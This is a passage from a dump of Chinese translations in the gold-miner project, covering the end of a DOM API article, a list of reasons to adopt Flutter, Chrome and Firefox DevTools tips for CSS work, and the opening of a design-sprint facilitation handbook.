document.querySelector('ul');\nlist.setAttribute('id', 'my-list');\nlet id = list.getAttribute('id');\nconsole.log(id); // 输出 my-list\n```\n\n## Element.hasAttribute / Element.removeAttribute\n\n`Element.hasAttribute` 方法用于检查给定元素是否具有指定的属性。返回值是 `boolean` 类型。同时，通过调用 `Element.removeAttribute`，我们可以从元素中删除给定名称的属性。\n\n```js\nlet list = document.querySelector('ul');\nif (list.hasAttribute('id')) {\n    console.log('list has an id');\n    list.removeAttribute('id');\n};\n```\n\n## Element.insertAdjacentHTML\n\n该方法将制定的文本解析为 HTML，并将 HTML 元素节点插入到 DOM 树中的给定位置。它不会破坏要插入的新 HTML 元素中的现有节点。插入的位置可以是以下字符串之一：\n\n1. `beforebegin`\n2. `afterbegin`\n3. `beforeend`\n4. `afterend`\n\n```html\n<!-- beforebegin -->\n<div>\n  <!-- afterbegin -->\n  <p>Hello World</p>\n  <!-- beforeend -->\n</div>\n<!-- afterend -->\n```\n\n例：\n\n```js\nvar list = document.querySelector('ul');\nlist.insertAdjacentHTML('afterbegin', '<li id=\"first-item\">First</li>');\n```\n\n请注意，使用此方法的时候，我们需要适当的格式化给定的 HTML 元素。\n\n## 结论和了解更多\n\n我希望这篇文章对你有帮助，它会有助于你理解 DOM。正确处理 DOM 树是非常重要的，如果不正确地使用它可能会给你带来一些严重的后果。确保始终进行内存清理并适当格式化 HTML/XML 字符串。\n\n如果需要了解更多，请查看官方 [w3c 页面](https://www.w3.org/TR/?tag=dom)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/13-reasons-why-you-should-choose-consider-to-move-to-flutter-in-2019.md",
    "content": "> - 原文地址：[13 Reasons Why you should choose/ consider to move to Flutter](https://medium.com/flutter-community/13-reasons-why-you-should-choose-consider-to-move-to-flutter-in-2019-24323ee259c1)\n> - 原文作者：[Ganesh .s.p](https://medium.com/@ganesh.s.p006)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/13-reasons-why-you-should-choose-consider-to-move-to-flutter-in-2019.md](https://github.com/xitu/gold-miner/blob/master/TODO1/13-reasons-why-you-should-choose-consider-to-move-to-flutter-in-2019.md)\n> - 译者：[YueYong](https://github.com/YueYongDev)\n> - 校对者：[MeandNi](https://github.com/MeandNi)\n\n# 13 个你应该选择/考虑使用 Flutter 的理由\n\n![](https://cdn-images-1.medium.com/max/800/1*28u1IZzOkTeQMso-2eZZWw.png)\n\n> 13 个你应该[**转向 Dart**](https://twitter.com/scottstoll2017) 并且选择或者学习利用 Flutter 去开发你的下一个 app 的理由。\n\n如今的企业需要在选择移动技术时做出关键选择。他们不断的测试和评估技术，以求不论用户使用什么移动设备或操作系统都能有强大的数字体验。企业如果不能提供易于使用的产品和服务，那么无论使用何种渠道或设备，都有可能落后于竞争对手。\n\n![](https://cdn-images-1.medium.com/max/800/1*ECNAUzNJCkkl7EJKk2Esrw.gif)\n\n目前面临的挑战便是跨平台应用的开发存在问题。在某些情况下，尽管开发人员尽了最大努力，其用户体验仍然落后于原生 app 。近年来，我们看到了各种移动框架的出现，如 React Native、Xamarin 和 AngularJS，它们帮助我们更容易地产生较好地数字体验。最近我们看到一个新玩家加入了这场游戏——谷歌的 Flutter。\n\n![](https://cdn-images-1.medium.com/max/800/1*ymhzy0pX-tFncyB-jD8Opw.gif)\n\n从内部来看，Flutter 看起来像是谷歌各种技术和概念的大杂烩，然而却产生一个不可思议的强大的移动框架。它是基于 Dart (谷歌的内部编程语言)开发的，它可以让 Flutter 访问 Skia 图形库，而这正是 Chrome 浏览器所使用的。除此之外，Flutter 与谷歌的 Material Design 规范紧密结合；其中最著名的便是 Android 用户已经熟知的“卡片图案”。\n\n------\n\n让我们看看 13 个选择 Flutter 作为你的开发环境甚至可以选择它开始你的职业生涯的理由。\n\n**1. Flutter 克服了传统跨平台的限制**\n\n长期以来，创建真正的跨平台方法一直是技术顾问的苦恼所在，他们厌倦了为同一产品制作多个版本。但是，实际上，跨平台应用的用户体验通常落后于原生 app，因为你经常需要即时编译 JavaScript 来构建 UI 体验。\n\n![](https://cdn-images-1.medium.com/max/800/1*QVvruYyZj4d7xPnO5HLWvA.jpeg)\n\n使用 Flutter，你不仅可以拥有“一次编写”的优势，还可以创建高性能的“原生”体验，因为 Flutter 应用程序是提前编译出机器可执行的二进制文件。它克服了其他跨平台方法中的一些常见问题。\n\n**2. 开发人员的生产力提高了十倍**\n\n这种生产力的提高来自 Flutter 的“热重载”（也就是所谓的“有状态的热重载”和“热重启”）。这样，开发人员可以在不到一秒的时间内看到他们对应用程序状态所做的更改；并且在不到 10s 的时间内改变 app 的结构。\n\n![](https://cdn-images-1.medium.com/max/800/1*52k_IC8lfsVnHzwLOcF55w.gif)\n\n没有必要去启动另一个 Gradle 构建程序——因为你可以在保存后查看你的修改。对于开发人员来说，这通常很容易掌握——在使用“热重载”时几乎没有等待时间，因为在默认情况下，每次保存时都会实时改变。\n\n然而，优势是至关重要的。使用 Flutter 开发时间通常会减少 30-40%，因为在 Android 开发中，每次修改后 Gradle 都需要重新构建，这会降低 Android 开发人员的速度。\n\n**3. 前后端只需一套代码**\n\n在 Android 编程中，前端（Views）有单独的文件，由后端（Java）引用，与之不同的是，flutter 使用一种语言（Dart）来完成这两项工作，并使用一个响应式框架。\n\nDart 借鉴了其他语言众多流行的特性，同时不会让你感到陌生，因为它和 Java 或者其他语言相似。Dart 的构建考虑了开发人员的易用性，从而使许多常见任务变得更加容易。你可以在这学到更多有关 Dart 的知识：[Dart 语言之旅](https://www.dartlang.org/guides/language/language-tour)。\n\n**4. 这是一种强大的开箱即用的设计体验**\n\n由于 Flutter 团队对 Material design 规范的积极适配，使得开发者很容易就可以创建出功能强大的 UI 体验。它可以帮助你生成通常只能在原生 app 中才能体验到的平滑、流畅，因为 Flutter 的发行版构建的就是一个原生 app。\n\nFlutter 的小部件同时也实现了 iOS 的人机界面设计规范，可以让你在 iPhone 和 iPad 上也能获得那种原生的“体验”。\n\n![](https://cdn-images-1.medium.com/max/800/1*AwlIaO9hQAMAYQ9oQjHtKw.png)\n\n**5. 有一个数量众多且开源的软件库**\n\n大量可用的开源包可以帮助你更快、更轻松地创建应用程序，而且目前有许多可用的包可以使许多复杂的任务变得更容易。\n\n由于不断加入的开发人员对 Flutter 的作出的积极贡献，所以即使这个开源库还不够成熟，但它依然在积极壮大。\n\n**6. 与 Firebase 的紧密结合**\n\nFirebase 为云存储、云功能、实时数据库、托管、身份验证等一系列服务提供开箱即用的支持。你的基础设施完全可以是无服务器的、冗余的和可扩展的。这意味着你不必花费大量时间和资源来构建后端。\n\n它还可以直接与一个工具结合使用来自动化你的开发和发布过程以促进持续交付（例如 Fastlane）。因此，你不必在团队中提供专门的 DevOps 支持。\n\n**7. 大量 IDE支持 Flutter**\n\n在使用 Flutter 进行编程时，你可以从许多集成开发环境中进行选择。一开始我使用的是 Android Studio，但后来我看 Flutter Live 时使用的是VS Code。这让我很疑惑，因为我发现很多 Flutter 开发人员都在使用 Visual Studio Code。当我尝试之后，我明白为什么这么多人喜欢它了。VS Code 相较于 Android Studio 和 IntelliJ 更加轻量，速度也快得多，并且具有两者中的大部分特性。就我个人而言，我已经转向 VS Code，但是你也可以使用许多其他的 IDE，你无需切换就可以开始 Flutter 的工作。\n\n**8. UI遵从性 — —一切都是一个小部件**\n\n在 flutter 中，所有的东西都是一个小部件，例如 Appbar、Drawer、Snackbar 和 Scaffold 等等。开发者可以很容易地将一个小部件包装在另一个小部件中以实现一些效果，例如将一个部件包装在一个 Center 小部件中，就可以让其居中。\n\n以上这些都是为了确保你的用户无论使用什么平台运行你的软件都可以有相同的用户体验。你还应该阅读下述 flutter 文档：[Everything’s a widget](https://flutter.io/docs/resources/technical-overview#everythings-a-widget)\n\n**9. Android/iOS 的不同主题**\n\n根据用户的平台分配正确的主题就像使用三元 if 检查用户正在运行的平台一样简单；允许 UI 在运行时决定使用哪些 UI 组件。\n\n下面是一个示例代码，它用于检查当前运行的平台，如果是 iOS，它返回一个以紫色作为主色调的主题。\n\n```\nreturn new MaterialApp(\n  // default theme here\n  theme: new ThemeData(),\n  builder: (context, child) {\n    final defaultTheme = Theme.of(context);\n    if (defaultTheme.platform == TargetPlatform.iOS) {\n      return new Theme(\n        data: defaultTheme.copyWith(\n          primaryColor: Colors.purple\n        ),\n        child: child,\n      );\n    }\n    return child;\n  }\n);\n```\n\n**10. 使用 Code Magic 进行持续集成.**\n\nCode magic 是 2018 年 12 月 4 日在 Flutter Live 中使用的一个开源工具。Code magic 很容易学习，并且完全免费！它是一种高度复杂的 CI 工具，专门针对 Flutter 进行了优化。Code magic 使构建过程无缝对接。\n\n![](https://cdn-images-1.medium.com/max/800/1*gdnx0Dcqm6_uEWaoghtvIA.png)\n\n运行中的 Code Magic \n\n**11. [2Dimensions](https://www.2dimensions.com/) 让动画制作更简单**\n\n![](https://cdn-images-1.medium.com/max/600/1*b3Z0cow_co15WpjLYELqSQ.gif)\n\n我第一次尝试使用 Flutter + Flare — Bouncy\n\n同样是在 Flutter live 2018 期间推出的惊人的在线工具，可以轻松创建非常棒的 UI 或动画。它弥补了 UI 设计人员和开发人员之间的差距，减少了应用 UI 或动画相关更改所需的时间。\n\nFlare的学习曲线很浅，我在使用了它之后，对创建动画的简单性感到惊讶！ 你可以看到 app 在这里工作，我甚至在球上加了一个反射，给它一个更逼真的外观。\n\n**12. 运行在桌面和 Web 端的 Flutter**\n\nFlutter 团队现在已经有了可以在 web 浏览器中工作的 Flutter 原型 app，这让所有人都感到震惊。在 Flutter Live 中，之前的绝密项目 “Hummingbird” 向世界公开。很快，你就可以使用相同的代码轻松地为移动端、桌面端和 web 端创建应用程序。\n\n![](https://cdn-images-1.medium.com/max/800/1*OlrI9IphckWpiNEzS9ielg.png)\n\n**13. 来自 Flutter 团队和 Flutter 社区的持续支持**\n\n在过去的三周里，我一直在用 Flutter 工作，并注意到来自 Flutter 团队和社区的很多支持和鼓励；尤其是 [Scott Stoll](https://twitter.com/scottstoll2017)、[Nilay Yener](https://twitter.com/nlycskn) 和 [Simon Lightfoot](https://twitter.com/devangelslondon)（仅举几个例子）。每个星期三，Flutter 社区中许多比较知名的名字都可以在 Zoom at #HumpDayQandA 上看到，在那里你可以实时获取来自真人的有关 Flutter 的帮助。即便你没有任何问题，那也是一个很好的地方，因为你可以从他们回答别人的问题中学到很多。\n\n![](https://cdn-images-1.medium.com/max/800/1*6fuFPHO1w15e3kPk8qp7GA.jpeg)\n\n这是我参加 #HumpDayQandA 的照片。来自 Flutter Egypt 的创始人，谷歌开发者 Amed Abu Eldahab的推文。\n\n使用 Flutter 的价值很明显，也很有吸引力，因为它减轻了初创公司试图将产品发布到多个平台所面临的许多困难；特别是处理在有限的时间和预算内将软件产品推向市场的时候。\n\n------\n\n大家好，我是 Ganesh S P.，是一名经验丰富的 Java 开发人员，具有广泛的创造性思维，同时是一名企业家和演说家，现在正冒险进入 Flutter 的世界。你可以在 [_LinkedIn_](https://www.linkedin.com/in/ganesh-sp-a5981a7a) 或者 [_github_](https://github.com/ganeshsp1) 找到我，或者关注我的 [_twitter_](http://Check%20out%20Ganesh%20S%20P%20%28@ganeshsp007%29:%20https://twitter.com/ganeshsp007?s=09)。在空闲时间，我是一名在 [_GadgetKada_](https://www.youtube.com/gadgetkada) 上的内容创造者。你也可以给我发邮件 ganesh.sp006@gmail.com 讨论任何有关科技的话题。\n\n感谢 [Nash](https://medium.com/@Nash0x7E2?source=post_page) 和 [Scott Stoll](https://medium.com/@scottstoll2017?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n------\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/16-devtools-tips-and-tricks-every-css-developer-need-to-know.md",
    "content": "> * 原文地址：[16 DevTools tips and tricks every CSS developer needs to know](https://www.heartinternet.uk/blog/16-devtools-tips-and-tricks-every-css-developer-need-to-know/)\n> * 原文作者：[Louis Lazaris](https://www.heartinternet.uk/blog/author/louis-lazaris/) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/16-devtools-tips-and-tricks-every-css-developer-need-to-know.md](https://github.com/xitu/gold-miner/blob/master/TODO1/16-devtools-tips-and-tricks-every-css-developer-need-to-know.md)\n> * 译者：[DEARPORK](https://github.com/Usey95)\n> * 校对者：[TiaossuP](https://github.com/TiaossuP), [Baddyo](https://github.com/Baddyo)\n\n# CSS 开发必知必会的 16 个调试工具技巧\n\n大多数开发者基本都使用浏览器的开发者工具调试前端，但即使用了好几年 Chrome 的开发者工具，我仍然会遇到从未见过的技巧和功能。\n\n在本文中，我写了许多在开发者工具中与 CSS 相关的功能和技巧，我认为它们将把你的 CSS 开发水平提升至一个新的台阶。其中一些技巧不仅仅针对 CSS，但是我还是把它们放在了一起。\n\n一些是有关于工作流与调试的简单技巧，另一些则是最近几年推出的新功能。它们大多数基于 Chrome 的开发者工具，但也涵盖了一些 Firefox 的技巧。\n\n## 审查通过 JavaScript 显示的元素的 CSS\n\n在开发者工具的 Elements 面板查找大多数元素的 CSS 并不困难。大多数情况下你只需要右键该元素，点击检查，然后（如有必要）仔细点在 Elements 面板找到它。一旦元素被选中，它的 CSS 会出现在 Styles 面板，随时可以编辑。\n\n有时一个元素会因为一些基于 JavaScript 的用户操作动态显示，例如 click 或者 mouseover。审查它们最直观的方法是暂时更改你的 JavaScript 或 CSS 使它们默认可见，以便于你在无需模仿用户操作的情况下处理它。\n\n但如果你在寻找一种更快捷的方法仅使用开发者工具让元素可见，可以遵循以下步骤：\n\n1. 打开开发者工具\n2. 打开 Sources 面板\n3. 执行用户操作让对象可见（例如鼠标悬停）\n4. 在元素可见的时候按下 F8（与“暂停脚本执行”按钮相同）\n5. 点击开发者工具左上角的“选取元素”按钮\n6. 点击页面上的元素\n\n我们可以通过 [Bootstrap 的 tooltips](https://getbootstrap.com/docs/3.3/javascript/#tooltips) 测试，只有鼠标悬浮在链接上触发 JavaScript 它才会显示，下面是演示：\n\n![GIF 动图：使用 Bootstrap 的 tooltips 时如何选中元素](https://www.heartinternet.uk/blog/wp-content/uploads/bootstrap-tool-tips-example.gif)\n\n如你所见在 GIF 的开头，我一开始无法选中元素来审查它，因为鼠标一旦移开它就消失了。但如果我在它可见的时候停止脚本运行，它将保持可见状态以便我可以正确地检查它。当然，如果元素只是简单的 CSS `:hover` 效果，那么我可以用 Styles 面板的 “Toggle Element State”（:hov 按钮）切换状态来让它显示。但由 JavaScript 切换样式的情况下，停止脚本也许是获取它们 CSS 样式的最佳方法。\n\n## 通过 CSS 选择器寻找元素\n\n你也许知道你可以用内置功能（CTRL + F 或者 CMD + F）在 Elements 面板搜索一个元素。但注意看 “find” 栏，它会给你以下提示：\n\n![在 Elements 面板使用 CSS 选择器寻找元素的截图](https://www.heartinternet.uk/blog/wp-content/uploads/search-for-a-css-element.png)\n\n正如我在截图中指出的那样，你可以通过字符串、选择器以及 XPath 寻找元素。之前我一直都在使用字符串，直到最近我才意识到我可以使用选择器。\n\n你不一定要使用你 CSS 中用过的选择器，它可以是任意合法的 CSS 选择器。查找功能将告诉你选择器是否与任何元素匹配。这对查找元素很有用，还有助于测试选择器是否有效。\n\n下面是一个使用 `body > div` 选择器来搜索以及遍历 `body` 所有直接子 `div` 元素的 demo：\n\n![演示如何通过指定 CSS 选择器搜索元素的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/body-div-seach-example.gif)\n\n如上所述，这些搜索可以通过任意合法选择器完成，类似于 JavsScript 的 `querySelector()` 和 `querySelectorAll()` 方法。\n\n## 直接编辑盒模型\n\n盒模型是你开始使用 CSS 首先学习的东西之一。由于这是 CSS 布局的一个重要部分，开发者工具允许你直接编辑盒模型。\n\n如果你审查了页面上的一个元素，请在右侧面板单击 Styles 面板旁的 Computed 面板。你将看到该元素的可视化盒模型图示，上面有各部分的数值：\n\n![特定元素盒模型的可视化图示](https://www.heartinternet.uk/blog/wp-content/uploads/model-box-example.png)\n\n也许你不知道，你可以通过双击任意编辑它们的值：\n\n![演示如何编辑盒模型值的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/model-box-editing-example.gif)\n\n所做的任何更改都会以与在 Styles 面板中编辑 CSS 时相同的方式反映在页面上。\n\n## 在 Styles 面板递增或递减属性值\n\n你可能已经意识到可以在 Styles 面板中编辑 CSS。只需单击属性或值，然后键入更改即可。\n\n但也许你没有意识到数值可以以不同的方式递增或递减。\n\n- 上方向键 / 下方向键可以使属性值以 1 递增 / 递减\n- ALT + 上方向键 / 下方向键可以使属性值以 0.1 递增 / 递减\n- SHIFT + 上方向键 / 下方向键可以使属性值以 10 递增 / 递减\n- CTRL + 上方向键 / 下方向键可以使属性值以 100 递增 / 递减\n\n![演示如何用方向键递增或递减属性值的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/incrementing-values-in-the-styles-panel-example.gif)\n\n你也可以使用 Page Up 或 Page Down 按钮代替方向键。\n\n## Sources 面板的文本编辑器功能\n\n比起别的地方，你也许更熟悉在 Styles 面板进行编辑，然而 Sources 面板是开发者工具中被高度低估一个功能，它模仿了常规代码编辑器和 IDE 的工作方式。\n\n以下是一些你可以在 Sources 面板（打开开发者工具并点击 “Sources” 按钮）可以做的有用的事情。\n\n### 使用 CTRL 键进行多项选择\n\n如果需要在单个文件中选择多个区域，可以通过按住 CTRL 键并选择所需内容来完成此操作，即使它不是连续文本也是如此。\n\n![演示如何通过按住 CRTL 键进行多项选择的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/multiple-selections-with-ctrl-key.gif)\n\n在上面的 demo 中，我在 Sources 面板中选择了 main.css 文件的三个任意部分，然后将它们粘贴回文档中。此外，你还可以通过多个光标在多个地方进行同时输入，使用 CTRL 键单击多个位置即可。\n\n### 使用 ALT 键选择列\n\n有的时候，你可能希望选择一列文本，但通常情况下无法办到。某些文本编辑器允许你使用 ALT 键来完成此操作，在 Sources 面板中也是如此。\n\n![演示如何使用 ALT 键选择整列的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/column-selection-with-alt-key.gif)\n\n## 使用 CTRL + SHIFT + O 组合键通过 CSS 选择器搜索元素\n\n在 Sources 面板打开文件后，按下 CTRL + SHIFT + O 组合键，可以打开一个输入框让你跳转到任意地方，这是 Sublime 一个著名的功能。\n\n按下 CTRL + SHIFT + O 之后，你可以输入你在本文件中想查找元素的 CSS 选择器，开发者工具会给你提供匹配选项，点击可跳转到文件的指定位置。\n\n![演示如何在文件中查找特定 CSS 选择器的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/search-with-css-selector-shortcut.gif)\n\n## Chrome 和 Firefox 的响应式设计功能\n\n你也许已经看过一些让你只需点击几下就得以测试你的响应式布局的网站，其实，你可以用 Chrome 的设备模式做同样的事情。\n\n打开你的开发者工具，点击左上角的 “Toggle device toolbar” 按钮（快捷键 CTRL + SHIFT + M）：\n\n![演示如何在 Chrome 的设备模式测试响应式网站的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/testing-responsive-design.gif)\n\n如你所见，设备工具栏有多个选项可根据设备大小和设备类型更改视图，你甚至可以通过手动调整宽度和高度数值或拖动视口区域中的手柄来手动进行更改。\n\nFirefox 附加的 “@media rules” 面板具有类似的功能，它允许你从站点的样式表中单击断点。你可以在下面的 demo 中看到我在我的一个网站上使用它。\n\n![演示如何在 Firefox 测试响应式网站的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/firefox-responsive-design-test.gif)\n\n## 开发者工具的颜色功能\n\n在 CSS 中处理颜色值是常态。开发者工具让可以你更简单地编辑、测试颜色值。以下是你可以做的事情：\n\n### 对比度\n\n首先，开发者工具有查看可访问性功能，当你在 Styles 面板看到 Color 属性值时，你可以点击颜色值旁边的方块打开颜色采集器。在颜色采集器里面，你将看到对比度选项指示你所选择的文本颜色搭配背景是否有可访问的对比度。\n\n![演示特定颜色的可访问对比度的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/css-contrast-ratio.gif)\n\n正如你在上面 demo 所看到的，颜色采集器在色谱中显示出弯曲的白线。这个线表示最小可接受对比度开始和结束的位置。当我将颜色值移到白线上方时，对比度旁的绿勾将会消失，表明对比度较差。\n\n### 调色板\n\n除了查看可访问性的功能之外，你还可以访问不同的调色板，包括 Material Design 调色板以及与当前查看页面关联的调色板。\n\n![演示特定颜色调色盘的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/css-colour-palettes.gif)\n\n### 切换颜色值语法\n\n最后，在开发者工具中一个鲜为人知的小知识是在查看颜色值时你可以切换颜色值的语法。默认情况下，Styles 面板会显示 CSS 里写的颜色的语法。但是开发者工具允许你按住 shift，点击颜色值左边的小方块，在 hex、RGBA 以及 HSLA 之间切换颜色值的语法：\n\n![演示如何切换颜色值语法的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/toggling-colour-value-syntax.gif)\n\n## 编辑 CSS 阴影\n\ntext-shadow 和 box-shadow 的 CSS 手写起来很乏味，语法很容易忘记，且两种阴影的语法略有不同。\n\n方便的是，Chrome 的开发者工具允许你使用可视化编辑器添加 text-shadow 或 box-shadow。\n\n![演示如何编辑阴影效果的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/editing-css-shadows.gif)\n\n正如 demo 中显示的，你可以用 Styles 面板中任意样式右下角的选项栏给任意元素添加 text-shadow 或 box-shadow。阴影添加后，你可以用可视化编辑器编辑不同的属性值。已存在的阴影可以通过点击属性值左边的小方块重新呼出可视化编辑器。\n\n## Firefox 的 Grid 布局检查器\n\n现在大多数常用的浏览器都支持 Grid 布局，越来越多的开发者将它们用作默认的布局方法。Firefox 的开发者工具如今把 Grid 选项作为特色功能放到了 Layout 选项卡中。\n\n![演示在 Firefox 中如何使用 Grid 布局检查器的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/grid-layout-inspector-in-firefox.gif)\n\n这个功能允许你开启一个全覆盖的网格帮助可视化 Grid 布局的不同部分。你还可以显示行号、区域名称，甚至可以选择无限延伸网格线 —— 如果这对你有用的话。在示例 demo 中，我在使用 Jen Simmons 的示例网站，它是响应式的，因此当布局因为不同视口改变时，你可以看到可视化网格的好处。\n\n## Firefox 的 CSS filter 编辑器\n\nfilter 是现在几乎在移动端和 PC 端都支持的另一个新功能。Firefox 再次提供了一个好用的小工具帮助你编辑 filter 的值。\n\n一旦你代码里有 filter（提示：如果你不知道实际语法，你可以先写上 `filter: none`），你将注意到 filter 值左边有一个黑白相间的堆叠方块，点击它可以打开 filter 编辑器。\n\n![演示如何使用 Firefox CSS filter 编辑器的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/css-filter-editor-in-firefox.gif)\n\n你可以给单个值加不同的 filter，删除单个 filter 值，或者拖动 filter 重新排列它们的层次。\n\n![演示如何拖动单个 filter 的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/css-multiple-filters-in-firefox.gif)\n\n## 在 Chrome 的 Styles 面板编辑 CSS 动画\n\n在 Chrome 的 Styles 面板编辑静态元素非常简单，那么编辑使用 `animation` 属性以及 `@keyframes` 创建的动画呢？\n\n开发者工具有两种编辑动画的方法。首先，当你审查一个元素或者在 Elements 面板选择一个元素，该元素的所有样式都会出现在 Styles 面板 —— 包括已定义的 `@keyframes`。在下面的 demo 中，我选择了一个带动画的元素，然后调整了一些关键帧设置。\n\n![演示如何在 Chrome 的 Styles 面板编辑 CSS 动画的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/editing-animation-keyframe-settings-in-chrome.gif)\n\n但这并不是全部，Chrome 的开发者工具提供了一个 Animation 面板让你可以使用可视化时间线编辑一个动画及它的各个不同部分。你可以通过点击开发者工具右上方的 “Customize and control DevTools” 按钮（三个竖点按钮），选择更多工具，开启 Animations 面板。\n\n![演示 Chrome 开发者工具的 Animations 面板的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/editting-css-animations-in-chrome-style-panel.gif)\n\n如上所示，你可以编辑每个动画元素的时间轴，然后在完成编辑后，你可以浏览动画以查看页面上的更改。这是设计和调试复杂 CSS 动画的一个很酷的功能！\n\n## 在开发者工具中查看未使用的 CSS\n\n最近有大量工具可以帮助你追踪未在特定页面上使用的 CSS。这样你就可以选择完全删除它们或仅在必要时加载它们。这将具有明显的性能优势。\n\nChrome 允许你通过开发者工具的 “Coverage” 面板查看未使用的 CSS。这个面板可以通过上文提到的点击开发者面板右上角的 “Customize and control DevTools” 选项（三个竖点按钮），选择“更多工具”，找到 “Coverage” 开启。\n\n![演示如何自定义你的 Chrome 开发者工具的 GIF 动图](https://www.heartinternet.uk/blog/wp-content/uploads/view-unused-css-in-dev-tools.gif)\n\n如 demo 所示，一旦你打开了 Coverage 面板，你可以在 Sources 面板打开一个源文件。当文件打开时，你将注意到 CSS 文件中每条样式右侧都有绿色或红色的线，指示样式是否在当前页面被应用。\n\n## 总结\n\n你的浏览器开发工具是 CSS 编辑和调试的宝库。当你将以上建议与 Chrome 的功能例如 —— Workspaces（允许你把在开发者工具所做的变更保存到本地文件）—— 结合，整个调试过程会变得更加完整。\n\n我希望这些技巧与建议将提升你在未来的项目中编辑与调试 CSS 的能力。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/23-facilitation-tips-for-design-sprints.md",
    "content": "> * 原文地址：[The Facilitator’s Handbook: 24 Design Sprint Tips](https://sprintstories.com/23-facilitation-tips-for-design-sprints-34d876aa5317?ref=uxdesignweekly)\n> * 原文作者：[Jake Knapp](https://sprintstories.com/@jakek?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/23-facilitation-tips-for-design-sprints.md](https://github.com/xitu/gold-miner/blob/master/TODO1/23-facilitation-tips-for-design-sprints.md)\n> * 译者：[PokerF](https://github.com/PokerF)\n> * 校对者：[rydensun](https://github.com/rydensun)\n\n# Facilitator 手册：24 个设计冲刺技巧\n\n这里有一些我在引导一个 Design Sprint 时所考虑的事情。我无法解释很多深入引导其中的事情 ——— 例如一些事情，你只是做了，积累了经验，然后就会随着时间越来越好。但是这里有几个原则和小技巧，我有意识的，一次又一次的提醒自己去做，因为它们是有效的，并且对我来说是再正常不过的了。（这些原则和技巧有些写在我的书里 [_Sprint_](http://amzn.to/2EjiUPj) 但是大部分没有。）\n\n#### 1. 专注于三个重点：问问题，做记录，有时间观念。\n\n引导的核心是简单的。你必须去问问题来让信息公开，记录下信息并且问更多问题来保证你正确地记录下来了，并且你要有时间观来走过这些步骤。 当感到不知所措时，回到基本的东西中去。\n\n#### 2. 相信章程\n\n我最好的引导技巧是跟从 design sprint 